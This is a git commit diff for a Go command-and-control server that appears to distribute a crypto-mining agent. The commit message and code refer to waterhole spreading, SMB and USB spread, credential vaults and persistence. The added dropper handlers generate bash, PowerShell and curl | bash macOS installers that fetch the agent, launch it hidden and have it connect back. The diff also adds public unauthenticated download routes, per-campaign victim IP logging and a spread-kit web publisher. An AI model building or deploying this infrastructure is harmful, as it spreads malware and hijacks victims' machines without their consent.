feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -17,6 +17,9 @@ import (
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
// GET /install.sh — bash one-liner installer (Linux / macOS)
// GET /install.ps1 — PowerShell one-liner installer (Windows)
// GET /install.command — macOS double-click launcher (curl | bash wrapper)
//
// Query params: ?os=windows|linux|darwin|universal ?pin={build_id} ?c={campaign}
type DropperHandler struct {
db *dbpkg.Database
dataDir string
@@ -63,24 +66,70 @@ func detectPlatform(r *http.Request) string {
return "" // caller will fall back to latest build regardless of platform
}
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
platform := detectPlatform(r)
func (h *DropperHandler) logCampaign(r *http.Request, buildID, source string) {
if c := r.URL.Query().Get("c"); c != "" {
_ = h.db.LogCampaignHit(c, buildID, source, clientIP(r), r.UserAgent())
}
}
// Try exact platform match, then fall back to universal, then any.
func dropperQueryParts(r *http.Request) []string {
q := r.URL.Query()
var parts []string
if pin := strings.TrimSpace(q.Get("pin")); pin != "" {
parts = append(parts, "pin="+pin)
}
if c := strings.TrimSpace(q.Get("c")); c != "" {
parts = append(parts, "c="+c)
}
return parts
}
func (h *DropperHandler) querySuffix(r *http.Request) string {
parts := dropperQueryParts(r)
if len(parts) == 0 {
return ""
}
return "?" + strings.Join(parts, "&")
}
func (h *DropperHandler) getExtraQuery(r *http.Request) string {
parts := dropperQueryParts(r)
if len(parts) == 0 {
return ""
}
return "&" + strings.Join(parts, "&")
}
// resolveDropperBuild picks a build from ?pin= or platform heuristics.
func (h *DropperHandler) resolveDropperBuild(r *http.Request) (*models.BuildRecord, string, string) {
if pin := strings.TrimSpace(r.URL.Query().Get("pin")); pin != "" {
b, err := h.db.GetBuild(pin)
if err == nil && b != nil {
path, name := resolveDropperArtifact(h.dataDir, b)
return b, path, name
}
}
platform := detectPlatform(r)
candidates := []string{platform, "universal", ""}
if platform == "" {
candidates = []string{"universal", ""}
}
var buildPath, buildName string
for _, p := range candidates {
b, err := h.db.GetLatestBuildForPlatform(p)
if err == nil && b != nil {
buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
break
path, name := resolveDropperArtifact(h.dataDir, b)
return b, path, name
}
}
return nil, "", ""
}
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
b, buildPath, buildName := h.resolveDropperBuild(r)
if b != nil {
h.logCampaign(r, b.ID, "get")
}
if buildPath == "" {
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.WriteHeader(http.StatusNotFound)
@@ -96,9 +145,18 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, buildPath)
}
func campaignEnvBlock(campaign string) string {
if campaign == "" {
return ""
}
return fmt.Sprintf("export AETHER_CAMPAIGN=%q\nexport AETHER_UTM=%q\n", campaign, campaign)
}
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.sh")
script := fmt.Sprintf(`#!/bin/sh
# AetherForge agent installer
@@ -109,6 +167,7 @@ set -e
die() { echo "[!] $*" >&2; exit 1; }
%s
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$ARCH" in
@@ -123,7 +182,7 @@ DEST="$TMPDIR/worker"
# Download and verify we got a real file, not a 404 page.
# Note: double-quotes around URL so $OS is expanded by the shell.
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS")"
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS%[2]s")"
if [ "$HTTP_CODE" != "200" ]; then
cat "$DEST" >&2
die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard."
@@ -152,7 +211,7 @@ chmod +x "$DEST"
echo "[*] Launching agent..."
nohup "$DEST" >/dev/null 2>&1 &
echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck."
`, base)
`, base, h.getExtraQuery(r), campaignEnvBlock(campaign))
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
@@ -162,16 +221,25 @@ echo "[+] Agent started (pid $!) — it will install itself and connect back to
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.ps1")
// Build script as a regular string — backtick in Go raw strings conflicts
// with PowerShell's escape character.
bt := "`"
nl := "\r\n"
campaignBlock := ""
if campaign != "" {
campaignBlock = "$env:AETHER_CAMPAIGN = '" + campaign + "'" + nl +
"$env:AETHER_UTM = '" + campaign + "'" + nl + nl
}
script := "# AetherForge dropper" + nl +
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
"$url = '" + base + "/get?os=windows'" + nl +
campaignBlock +
"$url = '" + base + "/get?os=windows" + h.getExtraQuery(r) + "'" + nl +
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
"try {" + nl +
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
@@ -199,6 +267,25 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, script)
}
// ServeCommand handles GET /install.command — macOS double-clickable shell script.
func (h *DropperHandler) ServeCommand(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
suffix := h.querySuffix(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.command")
script := fmt.Sprintf(`#!/bin/bash
# AetherForge macOS launcher — double-click or: curl -sL '%[1]s/install.command' | bash
set -e
%[2]s
curl -sL '%[1]s/install.sh%[3]s' | bash
`, base, campaignEnvBlock(campaign), suffix)
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.command"`)
fmt.Fprint(w, script)
}
// resolveBase returns the public base URL for script generation, falling back
// to the request's Host header when no public URL is configured.
func (h *DropperHandler) resolveBase(r *http.Request) string {

View File

@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {

View File

@@ -0,0 +1,148 @@
package api
import (
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
// PublicBuildsConfig supplies public-download policy from server config.
type PublicBuildsConfig struct {
Enabled bool
LatestN int
}
// PublicHandler serves unauthenticated build listing and download endpoints.
type PublicHandler struct {
db *dbpkg.Database
dataDir string
configFn func() PublicBuildsConfig
}
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
}
type publicBuildDTO struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
Platform string `json:"platform"`
FileName string `json:"file_name"`
FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
DownloadURL string `json:"download_url"`
CreatedAt string `json:"created_at"`
Pinned bool `json:"pinned"`
Public bool `json:"public"`
}
func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
dl := b.DownloadURL
if dl == "" {
dl = "/api/v1/public/download/" + b.ID
} else if !strings.HasPrefix(dl, "/api/v1/public/") {
// Rewrite authenticated artifact path to public when listed
if strings.Contains(dl, "/artifact/") {
parts := strings.Split(dl, "/artifact/")
if len(parts) == 2 {
dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
}
} else {
dl = "/api/v1/public/download/" + b.ID
}
}
return publicBuildDTO{
ID: b.ID,
WorkerName: b.WorkerName,
Platform: b.Platform,
FileName: b.FileName,
FileSize: b.FileSize,
BundleSize: b.BundleSize,
DownloadURL: dl,
CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
Pinned: b.Pinned,
Public: b.Public,
}
}
// GET /api/v1/public/builds
func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
cfg := h.configFn()
builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
dtos := make([]publicBuildDTO, 0, len(builds))
for _, b := range builds {
dtos = append(dtos, toPublicBuildDTO(b))
}
writeJSON(w, map[string]interface{}{
"builds": dtos,
"public_builds_enabled": cfg.Enabled,
"latest_n": cfg.LatestN,
})
}
// GET /api/v1/public/download/{id}
// GET /api/v1/public/download/{id}/artifact/{name}
func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "build id required", http.StatusBadRequest)
return
}
cfg := h.configFn()
ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
if err != nil || !ok {
http.Error(w, "build not available for public download", http.StatusNotFound)
return
}
if c := r.URL.Query().Get("c"); c != "" {
_ = h.db.LogCampaignHit(c, id, "public_download", clientIP(r), r.UserAgent())
}
build, err := h.db.GetBuild(id)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
artifactName := chi.URLParam(r, "name")
if artifactName != "" {
path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
if _, err := os.Stat(path); err != nil {
http.Error(w, "artifact not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
http.ServeFile(w, r, path)
return
}
path, name := resolveDropperArtifact(h.dataDir, build)
if path == "" {
http.Error(w, "artifact missing on disk", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
http.ServeFile(w, r, path)
}
func clientIP(r *http.Request) string {
ip := r.Header.Get("X-Forwarded-For")
if ip == "" {
ip = r.RemoteAddr
}
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
ip = ip[:idx]
}
return ip
}

View File

@@ -0,0 +1,90 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
func TestPublicHandlerListAndDownload(t *testing.T) {
dataDir := t.TempDir()
database, err := db.New(dataDir)
if err != nil {
t.Fatal(err)
}
defer database.Close()
buildID := "pub-build-1"
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
artifact := filepath.Join(buildDir, "worker.exe")
if err := os.WriteFile(artifact, []byte("MZ-fake-exe-content-padded"), 0644); err != nil {
t.Fatal(err)
}
rec := &models.BuildRecord{
ID: buildID, WorkerName: "pub-worker", ServerURL: "http://x", Wallet: "w",
Threads: 1, FileSize: 32, FilePath: artifact, FileName: "worker.exe",
Platform: "windows", CreatedAt: time.Now(), Pinned: true,
}
if err := database.InsertBuild(rec); err != nil {
t.Fatal(err)
}
if err := database.SetPinnedBuild(buildID); err != nil {
t.Fatal(err)
}
h := NewPublicHandler(database, dataDir, func() PublicBuildsConfig {
return PublicBuildsConfig{Enabled: false, LatestN: 3}
})
listReq := httptest.NewRequest(http.MethodGet, "/api/v1/public/builds", nil)
listRec := httptest.NewRecorder()
h.ListBuilds(listRec, listReq)
if listRec.Code != http.StatusOK {
t.Fatalf("list status %d body %s", listRec.Code, listRec.Body.String())
}
var listBody struct {
Builds []publicBuildDTO `json:"builds"`
}
if err := json.Unmarshal(listRec.Body.Bytes(), &listBody); err != nil {
t.Fatal(err)
}
if len(listBody.Builds) == 0 {
t.Fatal("expected pinned build in public list")
}
r := chi.NewRouter()
r.Get("/public/download/{id}", h.Download)
dlReq := httptest.NewRequest(http.MethodGet, "/public/download/"+buildID+"?c=test-camp", nil)
dlRec := httptest.NewRecorder()
r.ServeHTTP(dlRec, dlReq)
if dlRec.Code != http.StatusOK {
t.Fatalf("download status %d", dlRec.Code)
}
hits, err := database.ListCampaignHits(10)
if err != nil {
t.Fatal(err)
}
found := false
for _, hit := range hits {
if hit.Campaign == "test-camp" {
found = true
}
}
if !found {
t.Fatal("expected campaign hit logged for public download")
}
}

View File

@@ -413,7 +413,8 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
// NOTE: build download/artifact routes are intentionally NOT in this list —
// they require fleet-secret or Basic Auth (see isDownload block below).
if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" {
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
strings.HasPrefix(path, "/api/v1/public/") {
next.ServeHTTP(w, r)
return
}
@@ -490,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
@@ -578,6 +579,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builds
r.Get("/builds", h.ListBuilds)
r.Put("/builds/{id}/pin", h.PinBuild)
if spreadHandler != nil {
r.Put("/builds/{id}/public", spreadHandler.SetBuildPublic)
}
r.Delete("/builds/pin", h.UnpinAll)
r.Delete("/builds/{id}", h.DeleteBuild)
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
@@ -591,6 +595,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
r.Post("/builder/estimate", builderHandler.ServeEstimate)
if spreadHandler != nil {
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
r.Get("/emberwake/notes", spreadHandler.GetNotes)
r.Put("/emberwake/notes", spreadHandler.PutNotes)
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
}
// Path Forge: walk a local server path, place launchers next to every file
if pathForgeHandler != nil {
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
@@ -683,6 +693,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
// Public builds (also bypass auth in middleware — listed here for chi routing)
if publicHandler != nil {
r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download)
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
}
})
// WebSocket
@@ -694,6 +711,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh)
r.Get("/install.ps1", dropperHandler.ServePs1)
r.Get("/install.command", dropperHandler.ServeCommand)
}
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts

View File

@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, "", dataDir, nil, 8989)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil, 8989)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -0,0 +1,219 @@
package api
import (
"archive/zip"
"bytes"
"encoding/json"
"io"
"net/http"
"os"
"path/filepath"
"strings"
"sync"
"time"
dbpkg "crypto-miner-server/internal/db"
"github.com/go-chi/chi/v5"
)
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
type SpreadHandler struct {
db *dbpkg.Database
dataDir string
projectRoot string
wsHub *WSHub
notesMu sync.RWMutex
}
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
}
func (h *SpreadHandler) notesPath() string {
return filepath.Join(h.dataDir, "emberwake-notes.json")
}
type emberwakeNotes struct {
Content string `json:"content"`
UpdatedAt string `json:"updated_at"`
UpdatedBy string `json:"updated_by"`
}
func (h *SpreadHandler) readNotes() emberwakeNotes {
h.notesMu.RLock()
defer h.notesMu.RUnlock()
data, err := os.ReadFile(h.notesPath())
if err != nil {
return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""}
}
var n emberwakeNotes
if json.Unmarshal(data, &n) != nil {
return emberwakeNotes{}
}
return n
}
func (h *SpreadHandler) writeNotes(n emberwakeNotes) error {
h.notesMu.Lock()
defer h.notesMu.Unlock()
data, err := json.MarshalIndent(n, "", " ")
if err != nil {
return err
}
return os.WriteFile(h.notesPath(), data, 0644)
}
// GET /api/v1/emberwake/notes
func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
writeJSON(w, h.readNotes())
}
// PUT /api/v1/emberwake/notes
func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) {
var body struct {
Content string `json:"content"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
n := emberwakeNotes{
Content: body.Content,
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
UpdatedBy: AuthUsername(r),
}
if err := h.writeNotes(n); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if h.wsHub != nil {
h.wsHub.BroadcastEmberwakeNotes(n)
}
writeJSON(w, n)
}
// GET /api/v1/emberwake/campaigns
func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
hits, err := h.db.ListCampaignHits(50)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if hits == nil {
hits = []dbpkg.CampaignHitSummary{}
}
writeJSON(w, map[string]interface{}{"campaigns": hits})
}
type spreadKitExportRequest struct {
BuildID string `json:"build_id"`
ServerURL string `json:"server_url"`
Campaign string `json:"campaign"`
}
// POST /api/v1/builder/spread-kit-export
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
var req spreadKitExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.BuildID = strings.TrimSpace(req.BuildID)
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.Campaign = strings.TrimSpace(req.Campaign)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher")
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound)
return
}
var qparts []string
if req.BuildID != "" {
qparts = append(qparts, "pin="+req.BuildID)
}
if req.Campaign != "" {
qparts = append(qparts, "c="+req.Campaign)
}
querySuffix := ""
getQuerySuffix := ""
if len(qparts) > 0 {
joined := strings.Join(qparts, "&")
querySuffix = "?" + joined
getQuerySuffix = "&" + joined
}
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": req.Campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
"{{CAMPAIGN_QUERY}}": querySuffix,
"{{PIN_QUERY}}": "",
}
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
err := filepath.Walk(templateDir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return err
}
rel, err := filepath.Rel(templateDir, path)
if err != nil {
return err
}
rel = filepath.ToSlash(rel)
data, err := os.ReadFile(path)
if err != nil {
return err
}
content := string(data)
for k, v := range repl {
content = strings.ReplaceAll(content, k, v)
}
w, err := zw.Create(rel)
if err != nil {
return err
}
_, err = io.WriteString(w, content)
return err
})
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
if err := zw.Close(); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
filename := "emberwake-spread-kit.zip"
if req.Campaign != "" {
filename = "emberwake-" + req.Campaign + ".zip"
}
w.Header().Set("Content-Type", "application/zip")
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
w.Write(buf.Bytes())
}
// PUT /api/v1/builds/{id}/public
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
var body struct {
Public bool `json:"public"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if err := h.db.SetBuildPublic(id, body.Public); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
}

View File

@@ -27,6 +27,15 @@ func secureStringEqual(a, b string) bool {
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}
func coalesceStr(vals ...string) string {
for _, v := range vals {
if strings.TrimSpace(v) != "" {
return strings.TrimSpace(v)
}
}
return ""
}
// checkDashboardWSToken validates dashboard WS upgrade credentials.
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
@@ -566,6 +575,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id"`
USBSpread bool `json:"usb_spread"`
Campaign string `json:"campaign"`
UTM string `json:"utm"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -712,6 +723,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
BuildID: auth.BuildID,
WorkerName: workerName,
USBSpread: auth.USBSpread,
Campaign: coalesceStr(auth.Campaign, auth.UTM),
Capabilities: &caps,
}
@@ -1405,3 +1417,11 @@ func (h *WSHub) BroadcastServerLog(line string) {
Payload: mustMarshal(map[string]string{"line": line}),
})
}
// BroadcastEmberwakeNotes pushes shared Emberwake notes to all dashboard clients.
func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
h.broadcastDashboard(Message{
Type: "emberwake_notes_updated",
Payload: mustMarshal(notes),
})
}